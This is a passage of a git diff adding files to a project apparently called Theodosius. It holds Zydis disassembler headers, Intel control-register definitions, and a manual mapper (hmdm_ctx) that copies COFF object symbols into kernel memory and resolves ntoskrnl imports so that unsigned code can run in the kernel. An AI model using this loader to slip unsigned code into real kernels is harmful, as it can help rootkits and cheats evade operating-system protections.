result_address); + +/* ---------------------------------------------------------------------------------------------- */ +/* Accessed CPU flags */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns a mask of accessed CPU-flags matching the given `action`. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param action The CPU-flag action. + * @param flags Receives the flag mask. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisGetAccessedFlagsByAction(const ZydisDecodedInstruction* instruction, + ZydisCPUFlagAction action, ZydisCPUFlags* flags); + +/** + * Returns a mask of accessed CPU-flags that are read (tested) by the current instruction. + * + * DEPRECATED. This function will be removed in the next major release. Please refer to the + * `cpu_flags_read` or `fpu_flags_read` fields of the `ZydisDecodedInstruction` instead. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param flags Receives the flag mask. + * + * @return A zyan status code. + */ +ZYDIS_DEPRECATED_EXPORT ZyanStatus ZydisGetAccessedFlagsRead( + const ZydisDecodedInstruction* instruction, ZydisCPUFlags* flags); + +/** + * Returns a mask of accessed CPU-flags that are written (modified, undefined) by the current + * instruction. + * + * DEPRECATED. This function will be removed in the next major release. Please refer to the + * `cpu_flags_written` or `fpu_flags_written` fields of the `ZydisDecodedInstruction` instead. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param flags Receives the flag mask. + * + * @return A zyan status code. + */ +ZYDIS_DEPRECATED_EXPORT ZyanStatus ZydisGetAccessedFlagsWritten( + const ZydisDecodedInstruction* instruction, ZydisCPUFlags* flags); + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction segments */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns offsets and sizes of all logical instruction segments (e.g. `OPCODE`, + * `MODRM`, ...). + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param segments Receives the instruction segments information. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisGetInstructionSegments(const ZydisDecodedInstruction* instruction, + ZydisInstructionSegments* segments); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_UTILS_H */ diff --git a/Theodosius/Zydis/Zydis.h b/Theodosius/Zydis/Zydis.h new file mode 100644 index 0000000..a0d2d87 --- /dev/null +++ b/Theodosius/Zydis/Zydis.h @@ -0,0 +1,169 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Master include file, including everything else. + */ + +#ifndef ZYDIS_H +#define ZYDIS_H + +#include +#include + +#ifndef ZYDIS_DISABLE_DECODER +# include +# include +#endif + +#ifndef ZYDIS_DISABLE_FORMATTER +# include +#endif + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constants */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * A macro that defines the zydis version. + */ +#define ZYDIS_VERSION (ZyanU64)0x0003000100000000 + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Extracts the major-part of the zydis version. + * + * @param version The zydis version value + */ +#define ZYDIS_VERSION_MAJOR(version) (ZyanU16)(((version) & 0xFFFF000000000000) >> 48) + +/** + * Extracts the minor-part of the zydis version. + * + * @param version The zydis version value + */ +#define ZYDIS_VERSION_MINOR(version) (ZyanU16)(((version) & 0x0000FFFF00000000) >> 32) + +/** + * Extracts the patch-part of the zydis version. + * + * @param version The zydis version value + */ +#define ZYDIS_VERSION_PATCH(version) (ZyanU16)(((version) & 0x00000000FFFF0000) >> 16) + +/** + * Extracts the build-part of the zydis version. + * + * @param version The zydis version value + */ +#define ZYDIS_VERSION_BUILD(version) (ZyanU16)((version) & 0x000000000000FFFF) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZydisFeature` enum. + */ +typedef enum ZydisFeature_ +{ + ZYDIS_FEATURE_DECODER, + ZYDIS_FEATURE_FORMATTER, + ZYDIS_FEATURE_AVX512, + ZYDIS_FEATURE_KNC, + + /** + * Maximum value of this enum. + */ + ZYDIS_FEATURE_MAX_VALUE = ZYDIS_FEATURE_KNC, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_FEATURE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FEATURE_MAX_VALUE) +} ZydisFeature; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup version Version + * Functions for checking the library version and build options. + * @{ + */ + +/** + * Returns the zydis version. + * + * @return The zydis version. + * + * Use the macros provided in this file to extract the major, minor, patch and build part from the + * returned version value. + */ +ZYDIS_EXPORT ZyanU64 ZydisGetVersion(void); + +/** + * Checks, if the specified feature is enabled in the current zydis library instance. + * + * @param feature The feature. + * + * @return `ZYAN_STATUS_TRUE` if the feature is enabled, `ZYAN_STATUS_FALSE` if not. Another + * zyan status code, if an error occured. + */ +ZYDIS_EXPORT ZyanStatus ZydisIsFeatureEnabled(ZydisFeature feature); + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_H */ diff --git a/Theodosius/ZydisExportConfig.h b/Theodosius/ZydisExportConfig.h new file mode 100644 index 0000000..2e0b4a2 --- /dev/null +++ b/Theodosius/ZydisExportConfig.h @@ -0,0 +1,42 @@ + +#ifndef ZYDIS_EXPORT_H +#define ZYDIS_EXPORT_H + +#ifdef ZYDIS_STATIC_DEFINE +# define ZYDIS_EXPORT +# define ZYDIS_NO_EXPORT +#else +# ifndef ZYDIS_EXPORT +# ifdef Zydis_EXPORTS + /* We are building this library */ +# define ZYDIS_EXPORT __declspec(dllexport) +# else + /* We are using this library */ +# define ZYDIS_EXPORT __declspec(dllimport) +# endif +# endif + +# ifndef ZYDIS_NO_EXPORT +# define ZYDIS_NO_EXPORT +# endif +#endif + +#ifndef ZYDIS_DEPRECATED +# define ZYDIS_DEPRECATED __declspec(deprecated) +#endif + +#ifndef ZYDIS_DEPRECATED_EXPORT +# define ZYDIS_DEPRECATED_EXPORT ZYDIS_EXPORT ZYDIS_DEPRECATED +#endif + +#ifndef ZYDIS_DEPRECATED_NO_EXPORT +# define ZYDIS_DEPRECATED_NO_EXPORT ZYDIS_NO_EXPORT ZYDIS_DEPRECATED +#endif + +#if 0 /* DEFINE_NO_DEPRECATED */ +# ifndef ZYDIS_NO_DEPRECATED +# define ZYDIS_NO_DEPRECATED +# endif +#endif + +#endif /* ZYDIS_EXPORT_H */ diff --git a/Theodosius/hmdm_ctx.cpp b/Theodosius/hmdm_ctx.cpp new file mode 100644 index 0000000..557073b --- /dev/null +++ b/Theodosius/hmdm_ctx.cpp @@ -0,0 +1,106 @@ +#include "hmdm_ctx.h" + +namespace drv +{ + hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines) + : + kalloc(std::get<0>(routines)), + kmemcpy(std::get<1>(routines)) + {} + + auto hmdm_ctx::map_objs(std::vector& objs) -> image_entry_t + { + std::map mapped_symbols; + // for each obj, allocate space for each symbol and create a map of where + // these symbols will be in memory... + for (auto obj : objs) + { + for (auto symbol : lnk::sym::get_all(obj)) + { + mapped_symbols[symbol.symbol_name] = + reinterpret_cast(kalloc(symbol.size)); + + std::printf("> %s allocated at = 0x%p, size = %d\n", + symbol.symbol_name.c_str(), mapped_symbols[symbol.symbol_name], symbol.size); + } + } + + try + { + if (!mapped_symbols["drv_entry"]) + { + std::printf("> no symbol named drv_entry... (entry point must be named drv_entry)...\n"); + return {}; + } + } + catch (std::exception& e) + { + std::printf("> no symbol named drv_entry... (entry point must be named drv_entry)...\n"); + return {}; + } + + // resolve relocations and "imports"... + // if a relocation to a symbol is not found inside of the hashmap of symbols + // created in the last for loop (above ^) then its going to try and + // resolve the symbol as an ntoskrnl import... + for (auto obj : objs) + { + for (auto reloc : lnk::sym::get_relocs(obj)) + { + if (reloc.type != IMAGE_REL_AMD64_ADDR64) + { + std::printf("> error... unsupported relocation at file offset = 0x%x\n\t> symbol = %s\n", + reloc.file_offset, reloc.resolve_symbol_name.c_str()); + + return {}; + } + + const auto reloc_addr = + reinterpret_cast( + obj.data() + reloc.file_offset); + + if (mapped_symbols[reloc.resolve_symbol_name]) + { + // patch kernel address into relocation... + *reloc_addr = mapped_symbols[reloc.resolve_symbol_name]; + } + else + { + // TODO: parse PDB for kernel driver symbols... + const auto ntoskrnl_symbol = + utils::kmodule::get_export( + "ntoskrnl.exe", reloc.resolve_symbol_name.c_str()); + + std::printf("> resolved external symbol %s = 0x%p\n", + reloc.resolve_symbol_name.c_str(), ntoskrnl_symbol); + + if (!ntoskrnl_symbol) + { + std::printf("> brutal! unresolved external symbol = %s\n", + reloc.resolve_symbol_name.c_str()); + return {}; + } + + // resolve ntoskrnl exports for now... + *reloc_addr = ntoskrnl_symbol; + } + } + } + + // copy each symbol into memory now... + for (auto obj : objs) + { + for (auto symbol : lnk::sym::get_all(obj)) + { + const auto symbol_mapped = + reinterpret_cast( + mapped_symbols[symbol.symbol_name]); + + kmemcpy(symbol_mapped, + obj.data() + symbol.file_offset, symbol.size); + } + } + + return mapped_symbols["drv_entry"]; + } +} \ No newline at end of file diff --git a/Theodosius/hmdm_ctx.h b/Theodosius/hmdm_ctx.h new file mode 100644 index 0000000..8a21f99 --- /dev/null +++ b/Theodosius/hmdm_ctx.h @@ -0,0 +1,33 @@ +#pragma once +#include "utils.hpp" +#include "linker/linker.hpp" + +#include +#include +#include + +#include +#include +#include + +#pragma comment(lib, "Dbghelp.lib") +namespace drv +{ + using kalloc_t = std::function; + using kmemcpy_t = std::function; + using kmemset_t = std::function; + + using image_entry_t = std::uintptr_t; + using mapper_routines_t = std::pair; + + class hmdm_ctx + { + public: + explicit hmdm_ctx(const mapper_routines_t& routines); + auto map_objs(std::vector& objs) -> image_entry_t; + + const kalloc_t kalloc; + const kmemcpy_t kmemcpy; + private: + }; +} \ No newline at end of file diff --git a/Theodosius/ia32.hpp b/Theodosius/ia32.hpp new file mode 100644 index 0000000..dd65439 --- /dev/null +++ b/Theodosius/ia32.hpp @@ -0,0 +1,21527 @@ +/** @file */ +#pragma once +using uint8_t = unsigned char; +using uint16_t = unsigned short; +using uint32_t = unsigned int; +using uint64_t = unsigned long long; + +/** + * @defgroup intel_manual \ + * Intel Manual + * + * @remarks All references are based on Intel(R) 64 and IA-32 architectures software developer's manual combined volumes: + * 1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D, and 4 (May 2018). + * @{ + */ + /** + * @defgroup control_registers \ + * Control registers + * + * Control registers (CR0, CR1, CR2, CR3, and CR4) determine operating mode of the processor and the characteristics of the + * currently executing task. These registers are 32 bits in all 32-bit modes and compatibility mode. + * In 64-bit mode, control registers are expanded to 64 bits. The MOV CRn instructions are used to manipulate the register + * bits. Operand-size prefixes for these instructions are ignored. The following is also true: + * - The control registers can be read and loaded (or modified) using the move-to-or-from-control-registers forms of the + * MOV instruction. In protected mode, the MOV instructions allow the control registers to be read or loaded (at privilege + * level 0 only). This restriction means that application programs or operating-system procedures (running at privilege + * levels 1, 2, or 3) are prevented from reading or loading the control registers. + * - Bits 63:32 of CR0 and CR4 are reserved and must be written with zeros. Writing a nonzero value to any of the upper 32 + * bits results in a general-protection exception, \#GP(0). + * - All 64 bits of CR2 are writable by software. + * - Bits 51:40 of CR3 are reserved and must be 0. + * - The MOV CRn instructions do not check that addresses written to CR2 and CR3 are within the linear-address or + * physical-address limitations of the implementation. + * - Register CR8 is available in 64-bit mode only. The control registers are summarized below, and each architecturally + * defined control field in these control registers is described individually. + * - CR0 - Contains system control flags that control operating mode and states of the processor. + * - CR1 - Reserved. + * - CR2 - Contains the page-fault linear address (the linear address that caused a page fault). + * - CR3 - Contains the physical address of the base of the paging-structure hierarchy and two flags (PCD and PWT). Only + * the most-significant bits (less the lower 12 bits) of the base address are specified; the lower 12 bits of the address + * are assumed to be 0. The first paging structure must thus be aligned to a page (4-KByte) boundary. The PCD and PWT flags + * control caching of that paging structure in the processor's internal data caches (they do not control TLB caching of + * page-directory information). When using the physical address extension, the CR3 register contains the base address of + * the page-directorypointer table. In IA-32e mode, the CR3 register contains the base address of the PML4 table. + * - CR4 - Contains a group of flags that enable several architectural extensions, and indicate operating system or + * executive support for specific processor capabilities. + * - CR8 - Provides read and write access to the Task Priority Register (TPR). It specifies the priority threshold value + * that operating systems use to control the priority class of external interrupts allowed to interrupt the processor. This + * register is available only in 64-bit mode. However, interrupt filtering continues to apply in compatibility mode. + * + * @see Vol3A[2.5(CONTROL REGISTERS)] (reference) + * @{ + */ +typedef union +{ + struct + { + /** + * @brief Protection Enable + * + * [Bit 0] Enables protected mode when set; enables real-address mode when clear. This flag does not enable paging + * directly. It only enables segment-level protection. To enable paging, both the PE and PG flags must be set. + * + * @see Vol3A[9.9(Mode Switching)] + */ + uint64_t protection_enable : 1; +#define CR0_PROTECTION_ENABLE_BIT 0 +#define CR0_PROTECTION_ENABLE_FLAG 0x01 +#define CR0_PROTECTION_ENABLE_MASK 0x01 +#define CR0_PROTECTION_ENABLE(_) (((_) >> 0) & 0x01) + + /** + * @brief Monitor Coprocessor + * + * [Bit 1] Controls the interaction of the WAIT (or FWAIT) instruction with the TS flag (bit 3 of CR0). If the MP flag is + * set, a WAIT instruction generates a device-not-available exception (\#NM) if the TS flag is also set. If the MP flag is + * clear, the WAIT instruction ignores the setting of the TS flag. + */ + uint64_t monitor_coprocessor : 1; +#define CR0_MONITOR_COPROCESSOR_BIT 1 +#define CR0_MONITOR_COPROCESSOR_FLAG 0x02 +#define CR0_MONITOR_COPROCESSOR_MASK 0x01 +#define CR0_MONITOR_COPROCESSOR(_) (((_) >> 1) & 0x01) + + /** + * @brief FPU Emulation + * + * [Bit 2] Indicates that the processor does not have an internal or external x87 FPU when set; indicates an x87 FPU is + * present when clear. This flag also affects the execution of MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. + * When the EM flag is set, execution of an x87 FPU instruction generates a device-not-available exception (\#NM). This + * flag must be set when the processor does not have an internal x87 FPU or is not connected to an external math + * coprocessor. Setting this flag forces all floating-point instructions to be handled by software emulation. + * Also, when the EM flag is set, execution of an MMX instruction causes an invalid-opcode exception (\#UD) to be + * generated. Thus, if an IA-32 or Intel 64 processor incorporates MMX technology, the EM flag must be set to 0 to enable + * execution of MMX instructions. Similarly for SSE/SSE2/SSE3/SSSE3/SSE4 extensions, when the EM flag is set, execution of + * most SSE/SSE2/SSE3/SSSE3/SSE4 instructions causes an invalid opcode exception (\#UD) to be generated. If an IA-32 or + * Intel 64 processor incorporates the SSE/SSE2/SSE3/SSSE3/SSE4 extensions, the EM flag must be set to 0 to enable + * execution of these extensions. SSE/SSE2/SSE3/SSSE3/SSE4 instructions not affected by the EM flag include: PAUSE, + * PREFETCHh, SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. + */ + uint64_t emulate_fpu : 1; +#define CR0_EMULATE_FPU_BIT 2 +#define CR0_EMULATE_FPU_FLAG 0x04 +#define CR0_EMULATE_FPU_MASK 0x01 +#define CR0_EMULATE_FPU(_) (((_) >> 2) & 0x01) + + /** + * @brief Task Switched + * + * [Bit 3] Allows the saving of the x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 context on a task switch to be delayed until an + * x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction is actually executed by the new task. The processor sets this flag on + * every task switch and tests it when executing x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. + * - If the TS flag is set and the EM flag (bit 2 of CR0) is clear, a device-not-available exception (\#NM) is raised prior + * to the execution of any x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction; with the exception of PAUSE, PREFETCHh, + * SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. + * - If the TS flag is set and the MP flag (bit 1 of CR0) and EM flag are clear, an \#NM exception is not raised prior to + * the execution of an x87 FPU WAIT/FWAIT instruction. + * - If the EM flag is set, the setting of the TS flag has no effect on the execution of x87 + * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. + * The processor does not automatically save the context of the x87 FPU, XMM, and MXCSR registers on a task switch. + * Instead, it sets the TS flag, which causes the processor to raise an \#NM exception whenever it encounters an x87 + * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction in the instruction stream for the new task (with the exception of the + * instructions listed above). + * The fault handler for the \#NM exception can then be used to clear the TS flag (with the CLTS instruction) and save + * the context of the x87 FPU, XMM, and MXCSR registers. If the task never encounters an x87 + * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction, the x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 context is never saved. + */ + uint64_t task_switched : 1; +#define CR0_TASK_SWITCHED_BIT 3 +#define CR0_TASK_SWITCHED_FLAG 0x08 +#define CR0_TASK_SWITCHED_MASK 0x01 +#define CR0_TASK_SWITCHED(_) (((_) >> 3) & 0x01) + + /** + * @brief Extension Type + * + * [Bit 4] Reserved in the Pentium 4, Intel Xeon, P6 family, and Pentium processors. In the Pentium 4, Intel Xeon, and P6 + * family processors, this flag is hardcoded to 1. In the Intel386 and Intel486 processors, this flag indicates support of + * Intel 387 DX math coprocessor instructions when set. + */ + uint64_t extension_type : 1; +#define CR0_EXTENSION_TYPE_BIT 4 +#define CR0_EXTENSION_TYPE_FLAG 0x10 +#define CR0_EXTENSION_TYPE_MASK 0x01 +#define CR0_EXTENSION_TYPE(_) (((_) >> 4) & 0x01) + + /** + * @brief Numeric Error + * + * [Bit 5] Enables the native (internal) mechanism for reporting x87 FPU errors when set; enables the PC-style x87 FPU + * error reporting mechanism when clear. When the NE flag is clear and the IGNNE\# input is asserted, x87 FPU errors are + * ignored. When the NE flag is clear and the IGNNE\# input is deasserted, an unmasked x87 FPU error causes the processor + * to assert the FERR\# pin to generate an external interrupt and to stop instruction execution immediately before + * executing the next waiting floating-point instruction or WAIT/FWAIT instruction. + * The FERR\# pin is intended to drive an input to an external interrupt controller (the FERR\# pin emulates the ERROR\# + * pin of the Intel 287 and Intel 387 DX math coprocessors). The NE flag, IGNNE\# pin, and FERR\# pin are used with + * external logic to implement PC-style error reporting. Using FERR\# and IGNNE\# to handle floating-point exceptions is + * deprecated by modern operating systems; this non-native approach also limits newer processors to operate with one + * logical processor active. + * + * @see Vol1[8.7(Handling x87 FPU Exceptions in Software)] + * @see Vol1[A.1(APPENDIX A | EFLAGS Cross-Reference)] + */ + uint64_t numeric_error : 1; +#define CR0_NUMERIC_ERROR_BIT 5 +#define CR0_NUMERIC_ERROR_FLAG 0x20 +#define CR0_NUMERIC_ERROR_MASK 0x01 +#define CR0_NUMERIC_ERROR(_) (((_) >> 5) & 0x01) + uint64_t reserved1 : 10; + + /** + * @brief Write Protect + * + * [Bit 16] When set, inhibits supervisor-level procedures from writing into readonly pages; when clear, allows + * supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting). This flag facilitates + * implementation of the copy-onwrite method of creating a new process (forking) used by operating systems such as UNIX. + * + * @see Vol3A[4.1.3(Paging-Mode Modifiers)] + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint64_t write_protect : 1; +#define CR0_WRITE_PROTECT_BIT 16 +#define CR0_WRITE_PROTECT_FLAG 0x10000 +#define CR0_WRITE_PROTECT_MASK 0x01 +#define CR0_WRITE_PROTECT(_) (((_) >> 16) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief Alignment Mask + * + * [Bit 18] Enables automatic alignment checking when set; disables alignment checking when clear. Alignment checking is + * performed only when the AM flag is set, the AC flag in the EFLAGS register is set, CPL is 3, and the processor is + * operating in either protected or virtual-8086 mode. + */ + uint64_t alignment_mask : 1; +#define CR0_ALIGNMENT_MASK_BIT 18 +#define CR0_ALIGNMENT_MASK_FLAG 0x40000 +#define CR0_ALIGNMENT_MASK_MASK 0x01 +#define CR0_ALIGNMENT_MASK(_) (((_) >> 18) & 0x01) + uint64_t reserved3 : 10; + + /** + * @brief Not Write-through + * + * [Bit 29] When the NW and CD flags are clear, write-back (for Pentium 4, Intel Xeon, P6 family, and Pentium processors) + * or write-through (for Intel486 processors) is enabled for writes that hit the cache and invalidation cycles are enabled. + */ + uint64_t not_write_through : 1; +#define CR0_NOT_WRITE_THROUGH_BIT 29 +#define CR0_NOT_WRITE_THROUGH_FLAG 0x20000000 +#define CR0_NOT_WRITE_THROUGH_MASK 0x01 +#define CR0_NOT_WRITE_THROUGH(_) (((_) >> 29) & 0x01) + + /** + * @brief Cache Disable + * + * [Bit 30] When the CD and NW flags are clear, caching of memory locations for the whole of physical memory in the + * processor's internal (and external) caches is enabled. When the CD flag is set, caching is restricted. To prevent the + * processor from accessing and updating its caches, the CD flag must be set and the caches must be invalidated so that no + * cache hits can occur. + * + * @see Vol3A[11.5.3(Preventing Caching)] + * @see Vol3A[11.5(CACHE CONTROL)] + */ + uint64_t cache_disable : 1; +#define CR0_CACHE_DISABLE_BIT 30 +#define CR0_CACHE_DISABLE_FLAG 0x40000000 +#define CR0_CACHE_DISABLE_MASK 0x01 +#define CR0_CACHE_DISABLE(_) (((_) >> 30) & 0x01) + + /** + * @brief Paging Enable + * + * [Bit 31] Enables paging when set; disables paging when clear. When paging is disabled, all linear addresses are treated + * as physical addresses. The PG flag has no effect if the PE flag (bit 0 of register CR0) is not also set; setting the PG + * flag when the PE flag is clear causes a general-protection exception (\#GP). + * On Intel 64 processors, enabling and disabling IA-32e mode operation also requires modifying CR0.PG. + * + * @see Vol3A[4(PAGING)] + */ + uint64_t paging_enable : 1; +#define CR0_PAGING_ENABLE_BIT 31 +#define CR0_PAGING_ENABLE_FLAG 0x80000000 +#define CR0_PAGING_ENABLE_MASK 0x01 +#define CR0_PAGING_ENABLE(_) (((_) >> 31) & 0x01) + uint64_t reserved4 : 32; + }; + + uint64_t flags; +} cr0; + +typedef union +{ + struct + { + uint64_t reserved1 : 3; + + /** + * @brief Page-level Write-Through + * + * [Bit 3] Controls the memory type used to access the first paging structure of the current paging-structure hierarchy. + * This bit is not used if paging is disabled, with PAE paging, or with 4-level paging if CR4.PCIDE=1. + * + * @see Vol3A[4.9(PAGING AND MEMORY TYPING)] + */ + uint64_t page_level_write_through : 1; +#define CR3_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define CR3_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define CR3_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define CR3_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * @brief Page-level Cache Disable + * + * [Bit 4] Controls the memory type used to access the first paging structure of the current paging-structure hierarchy. + * This bit is not used if paging is disabled, with PAE paging, or with 4-level paging2 if CR4.PCIDE=1. + * + * @see Vol3A[4.9(PAGING AND MEMORY TYPING)] + */ + uint64_t page_level_cache_disable : 1; +#define CR3_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define CR3_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define CR3_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define CR3_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + uint64_t reserved2 : 7; + + /** + * @brief Address of page directory + * + * [Bits 47:12] Physical address of the 4-KByte aligned page directory (32-bit paging) or PML4 table (64-bit paging) used + * for linear-address translation. + * + * @see Vol3A[4.3(32-BIT PAGING)] + * @see Vol3A[4.5(4-LEVEL PAGING)] + */ + uint64_t address_of_page_directory : 36; +#define CR3_ADDRESS_OF_PAGE_DIRECTORY_BIT 12 +#define CR3_ADDRESS_OF_PAGE_DIRECTORY_FLAG 0xFFFFFFFFF000 +#define CR3_ADDRESS_OF_PAGE_DIRECTORY_MASK 0xFFFFFFFFF +#define CR3_ADDRESS_OF_PAGE_DIRECTORY(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved3 : 16; + }; + + uint64_t flags; +} cr3; + +typedef union +{ + struct + { + /** + * @brief Virtual-8086 Mode Extensions + * + * [Bit 0] Enables interrupt- and exception-handling extensions in virtual-8086 mode when set; disables the extensions when + * clear. Use of the virtual mode extensions can improve the performance of virtual-8086 applications by eliminating the + * overhead of calling the virtual- 8086 monitor to handle interrupts and exceptions that occur while executing an 8086 + * program and, instead, redirecting the interrupts and exceptions back to the 8086 program's handlers. It also provides + * hardware support for a virtual interrupt flag (VIF) to improve reliability of running 8086 programs in multitasking and + * multiple-processor environments. + * + * @see Vol3B[20.3(INTERRUPT AND EXCEPTION HANDLING IN VIRTUAL-8086 MODE)] + */ + uint64_t virtual_mode_extensions : 1; +#define CR4_VIRTUAL_MODE_EXTENSIONS_BIT 0 +#define CR4_VIRTUAL_MODE_EXTENSIONS_FLAG 0x01 +#define CR4_VIRTUAL_MODE_EXTENSIONS_MASK 0x01 +#define CR4_VIRTUAL_MODE_EXTENSIONS(_) (((_) >> 0) & 0x01) + + /** + * @brief Protected-Mode Virtual Interrupts + * + * [Bit 1] Enables hardware support for a virtual interrupt flag (VIF) in protected mode when set; disables the VIF flag in + * protected mode when clear. + * + * @see Vol3B[20.4(PROTECTED-MODE VIRTUAL INTERRUPTS)] + */ + uint64_t protected_mode_virtual_interrupts : 1; +#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_BIT 1 +#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_FLAG 0x02 +#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_MASK 0x01 +#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS(_) (((_) >> 1) & 0x01) + + /** + * @brief Time Stamp Disable + * + * [Bit 2] Restricts the execution of the RDTSC instruction to procedures running at privilege level 0 when set; allows + * RDTSC instruction to be executed at any privilege level when clear. This bit also applies to the RDTSCP instruction if + * supported (if CPUID.80000001H:EDX[27] = 1). + */ + uint64_t timestamp_disable : 1; +#define CR4_TIMESTAMP_DISABLE_BIT 2 +#define CR4_TIMESTAMP_DISABLE_FLAG 0x04 +#define CR4_TIMESTAMP_DISABLE_MASK 0x01 +#define CR4_TIMESTAMP_DISABLE(_) (((_) >> 2) & 0x01) + + /** + * @brief Debugging Extensions + * + * [Bit 3] References to debug registers DR4 and DR5 cause an undefined opcode (\#UD) exception to be generated when set; + * when clear, processor aliases references to registers DR4 and DR5 for compatibility with software written to run on + * earlier IA-32 processors. + * + * @see Vol3B[17.2.2(Debug Registers DR4 and DR5)] + */ + uint64_t debugging_extensions : 1; +#define CR4_DEBUGGING_EXTENSIONS_BIT 3 +#define CR4_DEBUGGING_EXTENSIONS_FLAG 0x08 +#define CR4_DEBUGGING_EXTENSIONS_MASK 0x01 +#define CR4_DEBUGGING_EXTENSIONS(_) (((_) >> 3) & 0x01) + + /** + * @brief Page Size Extensions + * + * [Bit 4] Enables 4-MByte pages with 32-bit paging when set; restricts 32-bit paging to pages of 4 KBytes when clear. + * + * @see Vol3A[4.3(32-BIT PAGING)] + */ + uint64_t page_size_extensions : 1; +#define CR4_PAGE_SIZE_EXTENSIONS_BIT 4 +#define CR4_PAGE_SIZE_EXTENSIONS_FLAG 0x10 +#define CR4_PAGE_SIZE_EXTENSIONS_MASK 0x01 +#define CR4_PAGE_SIZE_EXTENSIONS(_) (((_) >> 4) & 0x01) + + /** + * @brief Physical Address Extension + * + * [Bit 5] When set, enables paging to produce physical addresses with more than 32 bits. When clear, restricts physical + * addresses to 32 bits. PAE must be set before entering IA-32e mode. + * + * @see Vol3A[4(PAGING)] + */ + uint64_t physical_address_extension : 1; +#define CR4_PHYSICAL_ADDRESS_EXTENSION_BIT 5 +#define CR4_PHYSICAL_ADDRESS_EXTENSION_FLAG 0x20 +#define CR4_PHYSICAL_ADDRESS_EXTENSION_MASK 0x01 +#define CR4_PHYSICAL_ADDRESS_EXTENSION(_) (((_) >> 5) & 0x01) + + /** + * @brief Machine-Check Enable + * + * [Bit 6] Enables the machine-check exception when set; disables the machine-check exception when clear. + * + * @see Vol3B[15(MACHINE-CHECK ARCHITECTURE)] + */ + uint64_t machine_check_enable : 1; +#define CR4_MACHINE_CHECK_ENABLE_BIT 6 +#define CR4_MACHINE_CHECK_ENABLE_FLAG 0x40 +#define CR4_MACHINE_CHECK_ENABLE_MASK 0x01 +#define CR4_MACHINE_CHECK_ENABLE(_) (((_) >> 6) & 0x01) + + /** + * @brief Page Global Enable + * + * [Bit 7] (Introduced in the P6 family processors.) Enables the global page feature when set; disables the global page + 